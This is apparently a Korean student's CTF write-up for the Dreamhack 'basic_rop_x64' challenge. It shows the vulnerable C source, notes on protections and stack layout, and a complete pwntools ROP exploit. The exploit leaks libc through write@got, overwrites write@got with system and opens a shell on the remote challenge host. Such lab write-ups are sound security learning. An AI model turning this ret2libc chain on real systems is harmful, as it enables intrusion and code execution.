basic_rop_x64

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

보호 기법 검사

Protection Techniques

카나리가 없었구나.. NX enabled

코드 분석 read와 write libc.so.6 함수들 존재 -> system 함수 알아내자 read에서 오버플로우 발생 -> 카나리 알아내자(필요없음 카나리 없음..) write에서 어떻게 하지..? ret를 다시 read로 돌릴 수 있나..? ㅎㅎ 모르겠음 라이트업 봐야겠음

스택 구조 프레임

Stack Structure

0x40 할당 64니까 카나리 8비트.. ret도 8 64비트는 함수 호출할 때 스택이 아닌 레지스터 값 참조.. rdi,rsi, rdx순으로..

Function Info

info function 명령어 입력하면 plt가 주르륵 나옴 system(‘/bin/sh’) 넣을 것이기 때문에 인자 rdi만 필요

Exploit Design

익스플로잇 설계

  1. ret에 pop rdi 가젯 주소 넣어서 puts@got를 rdi 레지스터에 삽입 -> puts 함수 주소와 libc_base 얻기, system도
  2. ret에 main함수로 돌아와서 다시 버퍼오버플로우
  3. 배웠던대로 system 함수 호출

익스플로잇

from pwn import * 
context.arch='amd64' 

def slog(n,m): 
    return success(': '.join([n,hex(m)]))

p=remote('host3.dreamhack.games',10712) 
e=ELF('./basic_rop_x64')
libc=ELF('./libc.so.6')
r=ROP(e) 

# 필요 정보 수집 
pop_rdi=0x400883
read_plt=e.plt['read']
write_plt=e.plt['write']
read_got=e.got['read']
write_got=e.got['write'] 
bss=e.bss()

read_offset=libc.symbols['read']
system_offset=libc.sym['system']

pop_rdi=r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15=r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret=r.find_gadget(['ret'])[0]

payload=b'a'*0x48 

# write(1, read@got,16) -> read의 실제 주소 leak 
payload+=p64(pop_rdi)+p64(1) 
payload+=p64(pop_rsi_r15)+p64(read_got)+p64(16) 
payload+=p64(write_plt) 

# read(0,bss,8) -> bss 영역에 문자열 작성(ASLR 우회) 
payload+=p64(pop_rdi)+p64(0) 
payload+=p64(pop_rsi_r15)+p64(bss)+p64(8) 
payload+=p64(read_plt) 

# write@got를 system 실제 주소로 got overwrite 
payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi_r15)+p64(write_got)+p64(16) 
payload+=p64(read_plt) 

# 문자열을 인자로 write() 호출 -> write@got를 system으로 덮어썼으므로 실제로는 system 실행
payload+=p64(ret)
payload+=p64(pop_rdi) 
payload+=p64(bss)
payload+=p64(write_plt) 

# 익스플로잇 
p.send(payload) 

p.recvuntil(b'a'*0x40)
read=u64(p.recvn(6)+b'\x00'*2)
lb=read-read_offset 
system=lb+system_offset 

slog('libc_base',lb)
slog('read',read)
slog('system',system) 

p.send(b'/bin/sh\x00')
p.send(p64(system))
p.interactive()

Exploit Result

rop 복습 많이.. 어렵다..